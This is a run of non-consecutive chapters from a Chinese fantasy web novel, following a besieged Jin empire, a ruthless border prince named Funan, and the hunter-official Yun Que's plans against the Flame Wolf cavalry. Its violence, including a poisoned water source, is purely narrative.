皇帝已经处于疯狂的边缘,自己家的郡主,全送去邵武国让人家杀,这种事居然也能做得出来。 殷子受显得极为狰狞。 使劲抓着帽子,他觉得头顶的鹿角奇痒无比,越痒心里就越暴躁。 大殿里有不少王爷侯爷,有人想开口求情,结果看到殷子受布满血丝的眼睛,愣是没敢说话。 郡主,都是王侯之女,拿这些王爷侯爷的女儿去安抚邵武国的大军,成功还好,如果人家不仅杀了郡主,更不退兵呢。 到头来竹篮打水一场空。 可皇帝正在暴怒,这时候哪个王爷侯爷也不敢触怒皇帝,丢几个女儿而已,至少他们还有命在。 这要皇帝一怒之下,把王侯也送去邵武国,大家全得玩完。 周史伯忍无可忍,道: “陛下不可!郡主为皇亲国戚,金枝玉叶,岂能当作猪猡送去任人宰割,我大晋威严何在啊!” “不送怎么办!你去把邵武国五十万大军劝回去吗!” 殷子受暴躁的吼道:“一群女人而已,有什么用!平日里好吃好喝养着她们,今天大晋危在旦夕,她们不为国去死,还等什么!谁敢求情,一起送去邵武国!” 周史伯张了张嘴,再也说不出话来,一双老眼里隐约浮现出泪痕。 这位老迈的首辅,已经看到了大晋即将崩塌的未来。 没过多久,六十多位郡主被带到皇宫之外。 大晋的郡主凑不上百位,暂时在皇城里的就这么多。 殷子受生怕路上出现意外,直接命暗卫护送,以飞行法器载着六十多位郡主飞往天门关的方向。 送走了一群惊慌失措的郡主,皇帝命禁军死守皇城,让白厌守在皇宫大门口,十万金吾卫那也别去,就守着皇宫。 随后皇帝将一道急令发往黑铁城,命阜南王即刻回援天祈,剿灭蛮人。 殷子受现在顾不了其他,他只想保住天祈城,保住皇宫,保住皇位。 至于阜南王率兵回援,草原那边会不会趁机进攻黑铁城,已经不再他考虑的范畴。 只要天祈城还在,他就还是皇帝,黑铁城要不要无所谓。 折腾了半天,殷子受实在乏累,一甩袖子回后宫休息了。 留下个烂摊子,交给首辅。 周史伯摇头苦叹。 他已经斗志全无,简单分派了一些事宜,主要查清蛮族大军的数量。 至于何时与蛮族决战,周史伯已经不再多想了。 他现在有些后悔。 后悔十五年前就该辞官归隐。 本以为殷子受不计前嫌,对前朝文武百官重用,是位明君,如今看来,顺风顺水登上皇位的殷子受,实在是一滩烂泥,根本扶不上墙。 天祈城外,满地尸骸,一眼望不到边。 尸骸尽头,一道身影骑在高头大马之上,遥望着天祈城哈哈大笑。 此人,正是上次草原使团的首领,忽疾。 “狗屁的禁军,不堪一击!” 忽疾狞笑道:“早知道大晋弱到如此程度,我朱邪部何必养精蓄锐多年,早将天祈城踏为平地!原来大晋只仗着黑铁城这个铁罐子挡住草原,外强中干罢了!两万炎狼军,足以搅得你大晋不得安宁!” 说罢,忽疾一挥手,带着炎狼军退回八山城。 他将八山城作为了驻地,犹如一颗钉子,越过黑铁城,牢牢钉在了大晋的腹地。 此时,云缺与牧青瑶来到了距离八山城数百里外的一座小镇。 第206章 笑面阎罗阜南王 小镇叫做铁石镇,不算大,但人可不少,尤其是矿工,几乎家家户户都有。 铁石镇四周群山环绕,建在山坳里,镇子西侧有一条河,码头人来人往,时而有大船经过。 云缺没来过这里,倒是有所耳闻。 铁石镇名副其实,这里就是出产铁矿的地方,周围全是矿山,镇上的百姓家家户户以挖矿为生。 云缺觉得很奇怪,不知道牧青瑶为何要来这里。 走进镇子的时候,云缺看到镇子外有军兵驻扎,营帐整齐划一,一间挨着一间,大致有两三千人守军。 这么小个镇子,驻扎数千人的守军,云缺愈发不解。 难道镇子里有什么宝贝? 带着好奇的心情,云跟着牧青瑶一路来到码头。 码头也有军兵。 虽然来往的人很多,但井然有序。 牧青瑶略一寻找,来到一个坐在木桩上的独臂汉子近前。 这汉子穿着一身粗布单衣,深冬时节也不觉得冷,正坐在木桩上捧着一大碗面条猛吃。 由于独臂,这位吃面不用筷子,直接往嘴里倒。 “老河。” 牧青瑶喊了一句。 独臂汉子猛然一抬头,看到牧青瑶后急忙扔了面条躬身施礼,洪声道: “属下见过郡主!” “不必多礼,找个地方说话。”牧青瑶道。 独臂汉子引着牧青瑶和云缺来到码头旁边的一间屋舍。 进屋后云缺打量了一下,看得出这是军兵住的地方,屋子里摆满了兵刃,全都整整齐齐。 这处小镇里的守军,给云缺一种奇怪的感觉,军纪十分严明。 按照正常情况,距离皇城不是太远的铁石镇,即便有驻军,也大多应该是松松垮垮,毕竟这里又没有战事,无需防备外敌。 可这里的守军,有一种随时出征的架势。 牧青瑶指着独臂汉子给云缺介绍道: “老河,八山城校尉,苏伯伯手下的大将之一。” “郡主说笑了,我哪里是什么大将,就是个退伍的老兵而已。”老河嘿嘿一笑。 随后牧青瑶介绍了云缺。 老河立刻瞪大了眼睛,道: “原来你就是云大人!久仰大名啊,护送郡主回皇城,天牢越狱进学宫,官拜四品提刑官,大年夜刀斩锻纸侯!云大人到皇城几月而已,天祈城都要被捅了个窟窿,佩服,佩服!” 云缺呵呵一笑,道:“客气,客气,我就是个无所事事的猎人而已。” 牧青瑶此时神色一正,道: “苏伯伯已经陨落,死于朱邪部合萨之手,八山城数十万百姓与守军无一幸免。” 老河听闻后,愣怔一下,随后脸色阴沉了下来。 云缺能感受到对面这个独臂汉子,浑身起伏着一种很重的煞气。 这种人,云缺估计是久经沙场之人,战场上真正的悍卒! 八山城守军里的校尉,应该没什么机会上战场才对,这一点云缺百思不解。 “郡主有何吩咐。”老河沉声道。 “从今天开始,你与手下的三千人马,只听我号令。”牧青瑶简短的道。 老河没有丝毫犹豫,单膝跪地道:“属下遵命!请郡主下令。” “你们仍在铁石镇驻扎,监管矿山,若有吩咐,我会再来。”牧青瑶道。 老河点头称好,将郡主与云缺送出码头。 离开铁石镇后,云缺问道: “刚才那个校尉,为何会听你的,他不是苏鸿山的手下么。” “铁石镇的三千守军,隶属八山城,都是苏伯伯培养的心腹,战力很强,而且忠心不二,既然想要以权力来强大自己,那么这三千人马,便是我的第一桶金。” 牧青瑶背着小手,脚步轻快的走在山路上,解释道: “至于为何会听我号令,因为老河曾经是我爹的兵,老河多年前在边关与草原人恶战的时候断了一只手,成了残废,父王让他回来养老,分派到八山城,在苏伯伯手下任职,铁石镇里的三千驻军,绝大多数都是曾经的边军。” 听完,云缺恍然大悟。 原来这里的守军,都是阜南王的手下,怪不得那老河对牧青瑶的命令言听计从。 两人经过军营。 云缺看到营盘里的守军几乎没有年轻人,中年人居多,也有一些老者,受过重伤的很多,少只手,缺半只脚的比比皆是。 别看身残者居多,这些军兵的眼睛格外明亮,行走坐卧都有规矩,行动间整齐划一。 尤其几人一同行走的时候,走在外侧的人会习惯的扫视身侧,走在后面的人则会偏着头行走,始终关注着身后的动静。 这种情况,普通人看起来没什么,也许是人家有什么特殊习惯,或者天生歪脖子斜眼而已。 但落在云缺眼里,则是杀气腾腾的一幕! 这些行走的军兵,都在随时随地的结阵而行! 哪怕四周毫无危险,他们也时刻保持着警惕,如果遇到危机来临,能在最快速度互相配合进行反杀。 观察到这一幕的云缺,心里只有两个字能形容。 精锐! 这才是真正的军中精锐,而非被天祈城里的繁华所磨灭了斗志的禁军。 只有常年经历战场的悍卒,才能保持着如此程度的战力。 云缺还发现军营里的士兵很多人都有修为,从稳健的脚步即可分辨出,或许没多高,但九品八品不在少数。 云缺大致估计了一下这三千军兵的战力。 多的不敢说,一口气吞掉一两万禁军应该轻而易举。 云缺觉得愈发奇怪起来,问道: “你爹把这些悍卒汇聚在一起交给苏鸿山,不会是等着造反的时候里应外合吧?” “才不是呢!” 牧青瑶翻了个白眼,指了指眼前的一座矿山,道:“这些人是用来看守矿山的,铁石镇每年出产的铁矿,都会运往黑铁城,要不然那么大一座黑铁城,难道用石头堆出来的么。” 云缺想了想,也对。 黑铁城可不是石头城,而是一座钢铁巨城,屹立在草原尽头。 草原那边想要找铁矿可费劲,几乎没有,建造黑铁城的铁矿,自然要从大晋这边运过去。 “随便派点人看守就够了,三千精锐驻扎,难道还有人偷铁矿?”云缺道。 “普通铁矿,自然无需这么多人看守,这里其实有一座重要的矿山,专门出产黑铁矿,是父王最看重的地方,所以才会重兵驻守。”牧青瑶解释道。 云缺彻底明白了。 铁矿不怎么值钱,但黑铁就不同。 提炼好的黑铁,是真正的炼器材料,能炼制法器的东西。33qxs.m 难怪阜南王如此重视这里,原来有好矿啊。 云缺恍然之后,不由得惦记起双角山的银矿金矿。 咱也有矿! 就是不敢开采。 真让人火大啊…… “阜南王运了这么多年黑铁矿,他想打造什么?”云缺问道。 “能包裹全身的甲胄,包括战马,还有锋利的武器,黑铁战甲极为坚固,有很强的防御效果,能打造出威力惊人的重甲骑兵,这种骑兵称之为……”牧青瑶放低了声音,贴在云缺耳畔低声道:“铁浮图!” 云缺眉峰动了动。 果然,阜南王不简单,看似坐镇黑铁城抵挡草原外敌,私底下的动作可不少。 云缺觉得有点了解那位素未谋面的阜南王了。 绝对是一位运筹帷幄的枭雄! 云缺在脑海里描绘着阜南王的模样。 威武高大,浑身杀气,没准是个独眼戴着眼罩,大口喝酒,瓮声瓮气,出口成脏,喝多了就喜欢去草原上宰蛮子,然后把草原上的漂亮女人掠回来,给牧青瑶多生几个弟弟妹妹。 当然这只是云缺的想象,不能跟牧青瑶说,否则小郡主容易咬人。 云缺跟着牧青瑶去观看罕见的黑铁矿山之际,远在塞外草原的黑铁城内,阜南王正款带着一行贵客。 王府大殿之内,主位上坐着文质彬彬的中年男人。 个子不算高,身形瘦削,穿着海蓝色的锦袍,五官端正,一身书卷气息,虽然年近四旬,乍一看像是三十来岁而已。 阜南王牧晨真正的模样,与云缺想象的截然相反。 在牧晨对面,坐着三名草原人,是三处部落的族长。 酒过三巡,牧晨端起酒杯,微笑道: “三位族长考虑得如何,本王对贵部的战马,很有诚意。” 一名身形魁梧的族长放下酒杯,冷声道: “王爷的诚意,怕是太轻了!我们草原上的战马膘肥体壮,随便拉出来一匹都比你们晋国最好的马要强出数倍!你才出二百两一匹,这种价格,买马肉倒是够了。” 另一个老者撇嘴道: “二百两,就想买我们最好的战马,王爷实在异想天开啊!我们养的战马均有妖兽血脉,遇到炎狼都不怕!听说大晋乱象不断,邵武国那边蠢蠢欲动,一旦开战,战马的价格至少翻倍!” 最后一人是个胖乎乎的中年族长,客气的道: “王爷千万勿怪,我们涨价也是不得已而为之,朱邪部在草原一家独大,占据了大片草场,我们都没地方放牧,这战马的价格自然得抬高一些。” 牧晨把玩着手里的酒杯,面带笑意的道: “你们的难处,本王理解,不妨说个价格,你们想卖多少钱呢。” 三人互相看了眼,明显来之前互相商量过,由那老者开口道: “一个数,一千两!” “贵了,有没有商量的余地。”牧晨和颜悦色的道。 “没得商量!一口价,你不买,我们可以卖给别人,邵武国肯定对我们草原的战马感兴趣!”壮汉族长冷声道。 “朱邪部是草原上的狼,你们手里若留着大量战马,早晚会被朱邪部抢走。”牧晨好心的提醒道。 “这一点无需担心!同为草原人,朱邪部不会轻易灭杀我们部落,大不了我们进贡些好处就是了。”壮汉族长理直气壮的道。 “这么说,没得商量了。”牧晨略有遗憾的道。 “没商量!” 三人异口同声。 牧晨点了点头,轻轻放下了酒杯。 当酒杯落到桌上的时候,两道寒光在两侧出现! 人头落地的响动,与酒杯落在桌上的声音同时出现。 两名护卫手起刀落,将身形魁梧的族长与老者族长一并枭首! 剩下的胖族长浑身一颤,大惊失色。 牧晨微笑着看向此人,道: “不如再考虑考虑,如何。” 胖族长哪里还敢考虑,急忙道:“不用考虑!二百两一匹,我同意!” “二百两,还是贵了。”牧晨语气平和的道。 “一、一百两一匹!”胖族长声音颤抖的道。 “成交,生意就该如此,和气才能生财。” 牧晨微笑道:“本王派遣三千人马跟你回去,将他们两个部族收拢到你们部落,今后的买卖继续。” 等胖族长走出大殿,已经浑身被冷汗湿透。 他与阜南王打过好几年的交道,都是战马生意,阜南王向来客客气气,文质彬彬,给人一种儒雅的书生之感,以至于让他渐渐忘了,如今被朱邪部占据的大片草原上,其实遍布着大大小小不下十余个部落。 而那些消失的部落,都是因为一个人。 胖族长想起了一个比魔鬼还要可怕的名号,曾经流传在草原上多年。 笑面阎罗,阜南王! 哒!哒!哒!哒! 一队骑兵从一侧行过,地面出现轻微震颤。 胖族长扭头一看,脸色变得苍白起来。 这队骑兵浑身重甲,连战马都被包裹在重甲当中,只能看到一双双冰冷的眸子。 战马一侧,悬挂着巨型的重刀。 刀身有放血的血槽,每一把重刀的血槽里都残留着殷红的血迹。 那些血迹已经渗入刀体,用水是洗不掉的,看一眼都让人头皮发麻。 “铁浮图……” 胖族长低声呢喃,眼里全是畏惧之色。 铁浮图,阜南王手里最强的骑兵,能与朱邪部的炎狼军相抗衡! 胖族长走后,牧晨淡淡一笑,自语道: “敬酒不吃,吃罚酒。” 这时有一名近卫匆匆来报:“王爷,有圣旨!” 说着将一份由传讯金鹰携带的圣旨呈上。 牧晨打开来,看了看。 圣旨上简洁明了,写了炎狼军占据八山城,让阜南王即刻率兵回援天祈。 “回信,就写……” 牧晨面无表情的合上圣旨,沉声道: “草原局势危机四伏,将在外,皇命有所不受。” 说罢,牧晨忽然捏拳。 当这位阜南王松开拳头之际,手里的圣旨已经化作一团飞灰。 第207章 别包了我害怕 天祈城,誉王府。 殷天涯正坐在书房里心烦意乱,极品的好茶喝到嘴里什么滋味都没有,还发苦。 不是茶水苦,而是心里苦。 草原蛮人奇袭而至,一夜之间杀掉十万禁军,皇帝束手无策,他这位誉王觉得心惊胆寒。 作为皇族,一旦晋国皇朝被推翻,身为誉王的殷天涯肯定第一个被清算。 草原人不会放过任何殷家之人,剥皮抽筋都算便宜,凌迟而死才算正常结局。 “邵武国大军过境,草原人又兵临城下,难道大晋气数将尽?不行,我得找好退路……” 殷天涯正自顾自的嘀咕之际,书房大门被推开,走进一道高大的身影,脸上戴着鬼脸面具。 看到来人,殷天涯豁然一惊,急忙起身关好门,埋怨道: “你疯了吗!这里是誉王府,被人发现你来我这里,咱们谁也别想活命!” 鬼面人很熟悉这里,毫不见外的坐在旁边的大椅上。 “王爷放心,我既然敢来,自然不会被任何人发现。”鬼面人声音沙哑的道。 “这种要命的时候,你还来作甚!琴寿已经死了,你要的军械现在没机会锻造,以后这笔买卖行不通了!这几年本王没亏待过你们,所有军械的价格都是市价交易,咱们好聚好散,今后谁也不认得谁!”殷天涯沉声道。 “若没有王爷这些年来的帮衬,我们红莲教无法发展到如今的程度,王爷无心插柳,然而柳已成荫,这么大的恩情,红莲教岂能不报答。”鬼面人低声笑道。 “不用你们报答!只要你们别说认得本王,就是最好的报答了!其他的好处,本王一概不需要!”殷天涯铁了心想要与对方一刀两断,划清界限。 这些年他串通琴寿,贩卖军械,早已赚得盆满钵满,肥得流油。 只是殷天涯没想到,最初他根本半只眼都没看上的红莲教,如今居然成为了皇帝的眼中钉肉中刺。 如果让皇帝知道,是他这位誉王贩卖给红莲的军械,非得扒了他的皮不可! 亲情归亲情,涉及到贩卖军械这种重罪,皇帝绝对不会念及什么手足之情。 这也是殷天涯最为担忧的一点。 “我今天带来的这份好处,王爷一定不会拒绝。” 鬼面人将手里提着的小箱子推了过去。 “金银珠宝本王没兴趣!” 殷天涯根本不想看,他就想快点把对方打发走,从此再也别见面。 “金银那等俗物岂能配得上王爷的身份,王爷不妨看一眼,这件东西,可不是金银能买得到的。”鬼面人信心十足的道。 殷天涯皱着眉,狐疑的看了眼小箱子,随手将其打开。 当盖子开启的那一刻,殷天涯的表情瞬间变化起来,时而惊悚,时而惊喜,时而惧怕,时而贪婪。 啪! 殷天涯很快将盖子合上,神色阴晴不定,半晌没说话。 “王爷觉得,这件礼物可还满意。”鬼面人笑道。 “简直是大逆不道……”殷天涯说着森冷之言,可脸上却浮现出明显的憧憬之色。 “王爷或许还没看清如今的局势,邵武国五十万大军虎视眈眈,朱邪部两万血蛮占据八山城,天祈城已经被两面夹击,随时都有破城之危,若不早做打算,王爷将成为皇帝的陪葬。”鬼面人道。 “胡说!大晋禁军还有五十万,即便邵武国与蛮人同时打过来,天祈城也能守得住!到时候阜南王回援天祈,两万蛮子很快会被清除掉,邵武国五十万大军独木难支,早晚得退回去!”殷天涯沉着脸道。 第210章 好差事 得到任务后,瞎子立刻行动,去了禁军那边。 瞎子现在是司天监的人,正经八百的斩妖司属官,无需偷偷摸摸,亮出腰牌,无论禁军还是刑部,除了皇宫与学宫之外,天祈城所有地方都可畅通无阻。 刺探情报这方面,云缺相信瞎子的能力。 “温泉,灵石,金沙草,快活似神仙呐,舒坦!” 常威在水里抻了个懒腰,道:“下次二当家想要杀狗,何须自己动手,有我们呢!狗血多臭啊,别脏了二当家的官袍。” 云缺笑了笑,说了声好。 常威所言的杀狗,指的是杀琴寿。 “等瞎子带回消息,你们俩只负责一件事,给我追查一个人。” 云缺目光渐冷,道:“红莲教还有高手混在朝堂,这个人我必杀之,把他揪出来,我亲自动手!” “放心,交给我们了。”常威道。 “记住不要打草惊蛇,一切以暗查为主。”云缺叮嘱道。 说话间,大院外走来几人。 都是老熟人。 为首的,正是独臂的上官鸿途,后面是陈洲骅,吴鹰,还有一众刑部令史。 蛮族退兵后,众人各自散去。 听牧青瑶说云缺受了些伤,这些曾经的同僚结伴来探望一番。 上官鸿途来看望云缺,还有个目的,是道谢。 他醒了才知道,若非云缺当时救助及时,把他背回了学宫,他这位刑部侍郎早没命了。 当众人来到斩妖司,见到泡在水里的云缺后,全都瞠目结舌。 陈洲骅还特意退出屋子,仔细看了看。 没错,是斩妖司! 怎么变澡堂子了! “上官大人醒了啊,我这里刚刚成立,没什么招待的,不如大家一起泡个澡吧。”云缺笑道。 上官鸿途苦笑了一声,不知答应还是拒绝的时候,陈洲骅已经手脚麻利的除去衣物,扑通一声跳进大水池。 “灵气温泉!还有灵草!不泡白不泡啊兄弟们!”陈洲骅怪叫了一声。 随后吴鹰众人纷纷效仿,下饺子似的全跳进水池。 反正水池足够大,装这些人绰绰有余。 “都是男人,上官大人不必客气。”云缺笑道。 上官鸿途略一迟疑,也入乡随俗,泡进了池子。 大厅里变得热闹起来,众人有说有笑。 “云大人行事向来不拘一格,斩妖司里修澡堂,不怕监正大人怪罪吗?”陈洲骅道。 “斩妖司里我说了算!”云缺大气道。 “云大人威武!” “云大人霸气!” 一众刑部令史哈哈笑道。 云缺看到吴鹰右肩有一大片淤青,奇怪道:“吴师兄受伤了?” “小伤,刚才与蛮子打了一场,平手。”吴鹰笑道:“血蛮战力果然惊人,我以七品巅峰的身手居然难以取胜,若换成云师弟,肯定能宰了那蛮子!” 众人七嘴八舌,讲述了城外的经过。 其实不说,云缺也大致猜得到。 炎狼军过来,肯定是挑衅的,两万人强攻天祈城,他们还不敢。 “禁军里高手众多,区区两万蛮子早晚能清除干净。”云缺道。 云缺可不想趟浑水。 大家都在皇城里住着,谁爱出战谁出战,反正我不去。 上官鸿途道: “我这次来,其实是想道谢,鸿雁城大劫之际,幸亏云大人及时送我到学宫救治,否则我这条命也就交代了。” 第214章 古往今来第一虎 乌连的箭,携带着一种莫名的力量,宛若狼啸。 后发先至,眨眼间到了云缺身后。 城墙上的首辅等人纷纷大惊,惊呼声四起。 武夫坐上飞行法器,相当于活靶子一样,除了刀剑没有任何防御手段。 根本躲不开! 其他派系的修行者还好,至少能动用法力或者施展法术防御,而武夫只能硬抗。 当众人发出惊呼的同时,一道白光从天祈城的城头飞出。 风啸声刺耳! 随后人们才听到弓弦的震颤之音。 白厌出手! 一箭正中乌连的箭矢。 两支蕴含着狂暴力量的箭矢完全对撞在一起,发出一声闷响后,各自掉落。 远处,乌连眯起眼,低语道: “神箭白厌,果然名不虚传,走。” 炎狼军如一阵狂风般退走,很快消失在大地尽头。 云缺落到城头,朝着白厌拱手道谢。 白厌笑着摆手,示意小事一桩。 周史伯赞叹道: “老夫今天算见识了什么叫一夫当关万夫莫开,云大人独自面对千军万马,这份武勇,无人能及!” 周围众人纷纷点头,没人不服。 哪怕最看不惯云缺的贾敬,这时候也无话可说。 刚才云缺的做法,在场的有一个算一个,没人敢模仿。 那是两万炎狼军! 能正面冲锋二十万禁军的恐怖狼骑! 多大的胆子敢在人家面前讨敌骂阵? 还是独自一人。 云缺客气了两句,对周史伯道: “首辅大人别忘了记功啊。” “放心就是。”周史伯微笑道,随后神色一正,道:“此行可摸清了炎狼军的底细?对方的将领是何人。” “叫乌连,自称朱邪部第一勇士,还有上次草原使团的那个忽疾,扮演着军师一角。”云缺道。 “乌连……这名字未曾听闻,此人修为如何?”周史伯道。 “肯定比我高,具体境界不清楚。”云缺如实道。 旁边的白厌沉声道: “五品武者,刚才那一箭的力道,六品绝对达不到。” 周史伯点了点头,他大致猜测到对方的主将肯定不会简单。 一名年迈的武将皱着眉道: “五品血蛮若爆发全力,大晋这边五品境界的将军恐怕没人是对手,单打独斗必败,除非群殴合围才有胜算。” 另一名武将道: “炎狼速度奇快,想要围剿普通狼骑都很难,何况围剿对方的主将,这场仗难打啊。” 其余众人纷纷点头。 两万炎狼军,确实棘手。 牧青瑶道: “对方退走的方向是八山城,瓮中捉鳖才是上策,我们必须主动出击,将炎狼军困死在八山城,否则让这两万血蛮游走在大晋,局面将更为棘手。” 周史伯颔首道:“郡主说得有道理,这场仗,不能再拖下去了。” 白厌道:“我去求陛下,让金吾卫协助司天监围住八山城,人手不够的话根本做不到。” 周史伯道:“我与白将军同去面圣。” 两人赶往皇宫,其他人各自散去。 回到司天监,云缺问了问牧青瑶关于封爵的最低限度。 牧青瑶想了想,道: “大晋立国以来,其实没几个人封爵,大部分是当初进驻天祈城的时候所封,想要封爵并不简单,普通的功劳很难达到封爵要求,需要极大的战功才行。” “剿灭两万炎狼军,这份功劳够不够。”云缺问道。 “够了,炎狼军的存在,已经威胁到大晋的根本,若能去除这份威胁,功劳足够封爵。” 牧青瑶说完,好奇道:“你怎么突然对封爵感兴趣了,你不是对皇族没什么好感么,若封爵,相当于将你绑在了皇族的战车上。” “我对爵位不感兴趣,就是想弄块封地。”云缺道。 “封地?你要封地做什么。”牧青瑶愈发好奇,眨着水汪汪的大眼睛道。 “种花种菜,体会一番田园生活。”云缺呵呵笑道。 “骗人。”牧青瑶翻了个白眼,道:“你肯定有什么坏主意,想要占个大便宜。” “知我者,郡主也!”云缺笑道:“到时候你就知道了。” 为了金银两座矿,云缺这次很上心。 找出地图,与牧青瑶一起观看地形。 既然要围剿炎狼军,必须掌握每一处环节,稍有失误,前功尽弃。 “八山城两面环山,易守难攻,而险峻的山势,也造成了地势上的一个被动局面,只要守住东西两处城门,八山城就成了死地。” 牧青瑶点指着地图,道: “我有个计划,需要三师兄回来才能实施,先派遣一队人马奇袭八山城东城门,只围不打,以火炮压制炎狼军。 另一队人马以传送阵抵达西门外,同样携带火炮,修筑阵地,等两处城门完全封死,再用火攻,炎狼军没有退路只能选择从一路冲出,无论他们冲哪一路,都要付出惨重的代价,全军覆没也有可能。” 牧青瑶讲述的时候,清澈的眼眸里明亮如有光,整个人带着一种信心十足的气势,宛若主帅。 云缺望着小郡主明亮的双眸,感慨道: “还是你适合领军啊,难怪你那几个师姐都听你的。” “也不一定,大师姐就不听我的。”牧青瑶笑了笑,道:“对付炎狼军那主将乌连,我准备请大师姐出手,白将军虽然战力不俗,不一定是血蛮的对手,而且皇帝未必能让金吾卫协助我们司天监,还是大师姐稳妥些。” 云缺当然赞同。 别说大师姐,最好监正亲自出手,弄死那个乌连,连着狼王一起掐死,剩下两万群龙无首的炎狼军就好对付多了。 “这里是什么地方?” 云缺发现地图上八山城附近有一个水池模样的地标。 “那是水源地。” 牧青瑶解释道:“八山城最初建造的时候,是开山而建,整体其实都建在了山里,城内并无水源可用,于是从河道引来一条分支,作为水源储备,供给八山城的军兵与百姓饮水之用。” 说完,牧青瑶眼前一亮,想到了一个主意。 小郡主一抬头,发现云缺两个嘴角上翘,正在嘿嘿坏笑。 “八山城内已无百姓,水源之地,正好可以利用。”牧青瑶道。 “这件事交给我,我最拿手。” 云缺当机立断,独自出城,谁也没带,直奔地图上的水源地而去。 到了之后,云缺还小心翼翼的查看有无炎狼军把守。 结果连个鬼影子都没有。 “朱邪部不怎么样嘛,脑子都不大够用。” 云缺一边嘀咕着,一边选了个好位置,将毒牙刀沉入水底。 水源是活水。 一侧连接着河道分支,一侧通往八山城。 扔完刀,云缺将上游河道分支处封了起来。 这样一来,流到八山城的水,就实打实的全是毒水了。 …… 天气学宫,事务堂。 学正宋道理正悠闲的品着茶,手里捧着一本书。 一道人影跌跌撞撞闯了进来。 进门就哭诉。 “学正可要给我们演武殿做主啊!这两天演武殿学子上吐下泻,拉了两天,茅房都堵了!肯定有人下毒!学正一定要严查凶手!” 来告状的,正是齐御。 自从大年夜那天学宫大比结束,演武殿的一群武夫高高兴兴吃了顿年夜饭,吃完就开始闹肚子,折腾了一宿不说,第二天还没好。 许多人去回春殿瞧了,诊断出肠胃不适,给出了多拉几次就好的结论。 齐御这群人是武夫不假,但不是傻子。 这么多人一起闹肚子,肯定不正常,于是拉了两天之后,来找学正告状。 宋道理放下书,黑着脸道: “回春殿已经看过,说你们并无大碍,回去好好休息即可。” “不对啊学正!哪有上千人一起闹肚子的,一定有人暗中下毒!哎呦,我肚子现在还疼呢。”齐御苦着脸道。 “也许是上次的鱼有余毒未除,那么多大鱼,哪能保证全都无毒,你们演武殿学子身强力壮,就当试毒了,回去罢。” 宋道理黑着脸把齐御打发走了,随后又添了一杯热茶,吹了吹热气,自语道: “得罪谁不好,偏偏得罪云缺,演武殿一群惹事精,通通肠胃也好,可算能消停的过个好年了。” 说完宋道理继续拿起书,专心致志的观看。 没有演武殿那群武夫整天斗殴,事务堂变得清闲起来。 以宋道理的修为,云缺的那点小动作岂能逃过他的眼睛,只是没拆穿而已,而且鱼毒不多,伤不到人,宋道理正好乐得清闲几天。 云缺当时只是轻轻用刀点了下那条大鱼,在鱼身上留下的余毒都能让演武殿这群武夫拉两天,这次是把整个毒牙刀沉进水池,可想而知喝了毒水之后,炎狼军会狼狈成什么模样。 等云缺回到司天监后,瞎子也回来了,带着萍山君。 萍山君自从进城之后,走路都是一小步一小步往前挪,生怕被伏妖大阵轰杀。 直至确认城里没有伏妖阵,终于放心下来。 到了斩妖司之后,看到一大池子温泉水,萍山君扔掉斗笠趴在池子边就喝。 一边喝一边嘀咕: “这一路渴死老子了,我得喝个饱……咕嘟咕嘟……” 常威和瞎子一个没拦住,人家已经开喝了,两人一咧嘴,不动声色的开始溜边。 等会人家知道了这是澡堂子,容易拿他们两个撒气。 云缺进来的时候,正好看到有个人趴在池子边,没看到脑袋,不知道是谁。 等走近了才发现水里边是一颗硕大的虎头。 云缺差点笑出声来,赶紧咳嗽了两声。 等萍山君喝完水,云缺道: “斩妖司的泉水,味道如何。” “挺好喝的,有点甜!” 萍山君抹了把脸上的水迹,道:“找我来天祈城有啥事,我在鸿雁城住得挺好,自从得知我是来守城的,那群百姓天天给我送吃的,什么鸡鸭鹅狗样样都有!再住下去我快吃胖了!” “叫你来自然是有好事,喏,斩妖司的腰牌,今后你也是司天监的人了。” 云缺将一块刻着斩妖司字迹的腰牌扔给萍山君。 这玩意在外面是价值连城的好东西,身份的象征,但在云缺手里就是废铁一块,屋子里一大堆,发都发不出去。 “斩妖司?我是斩妖司的人了!” 萍山君挠着硕大的虎头迷茫道:“怎么听起来怪怪的呢。” 常威和瞎子在旁边捂着嘴直咳嗽,憋笑差点憋出内伤。 能不怪么。 一头虎妖,成了斩妖司的人,相当于一头猪成了屠户。 别人不知道,常威和瞎子自然知道云缺的心思,让萍山君来,不是来当官的,而是来当坐骑的。 云缺大手一挥,豪迈道: “从今天起,除了皇宫进不去,你萍山君可以在大晋所有地方横着走!你想想看,司天监是干什么的,专门铲除妖邪的地方!斩妖司是专门斩妖的!你自己成了斩妖司的人,以后谁还能斩你。” 萍山君想了想,大喜道:“对啊!我以后就安全了呀!没人砍我了啊!” 瞎子凑过来道:“不仅安全,还有俸禄呢。” “我也有俸禄?”萍山君瞪大了虎眼。 在云缺点头确定后,萍山君狂喜道: “哈哈!老子今后就是虎界第一虎!哪只老虎能有俸禄!我这算不算前无古人后无来者?” “当然算,你是前无古虎,后无来者,古往今来第一虎!”云缺道。33qxs.m 萍山君听完美得北都找不到了,咕嘟咕嘟又开始喝水。 常威和瞎子同时点了点头,心里泛起同一个想法。 你不是古往今来第一虎,而是古往今来第一傻虎。 澡堂的浴池已经修建完毕,四周的装潢还没完工,尤其大小箱子,都在连夜打造。 云缺看了看进度,还算满意,找到负责木工活的工头。 “后面的库房也要改造,找些手艺好的木匠。”云缺道。 “大人放心!我们这次专门高价请了位大匠,手艺没得说,绝对包您满意!”说着正好看到一个木匠走进来,工头急忙把对方抓过来,献宝似的对云缺道:“就是这位!” 云缺对干活的工匠没太在意,本打算敷衍两句,手艺再好也是木匠活儿而已,难道还能达到巧夺天工不成。 可一看到这个大匠,云缺就是一愣。 对方也愣住了,随后讪笑道:“大爷!您这么在这呢?” 这个大匠非是旁人,正是门六。 第215章 容易误伤 再次见到门六,云缺很是意外。 把工头打发走之后,云缺问了问门六怎么来的天祈城。 门六老老实实的说出了经过。 逃离八山城后,门六流浪到一座小镇,本想干老本行当厨子,结果镇子上根本不缺厨子。 小镇以打造家具闻名,镇子上什么都不缺,就缺木匠。 于是门六就找了个小商行干起了木匠活,由于他手艺极好,很快出了名,被小商行上边的大商行挖了过去,最终来到天祈城。 “行啊,不当厨子,改木匠了。” 云缺拍了拍门六的肩膀,道:“这里的木工活儿都包给你,干得好,额外有奖赏。” 逃出八山城,门六出了不少力,否则云缺等人都得被关在城里。 门六急忙作揖,嘿嘿傻笑,能攀上司天监这层关系,他求之不得。 门六一高兴,觉得口渴,见萍山君趴在水池边喝水,他也跟着一起喝。 原本满满登登的洗澡水,在这二位的狂饮下,肉眼可见的减少…… 萍山君喝饱后,打着饱嗝去找合身的官服,结果没有,他实在太壮,最大号的都穿不进去。 